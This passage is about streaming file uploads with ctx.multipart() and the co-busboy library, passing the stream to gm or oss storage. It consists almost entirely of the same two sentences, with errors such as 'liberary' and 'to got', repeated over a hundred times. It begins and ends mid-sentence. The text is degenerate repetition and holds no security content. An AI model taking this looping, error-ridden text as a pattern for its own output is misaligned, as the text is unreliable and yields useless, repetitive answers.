then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file 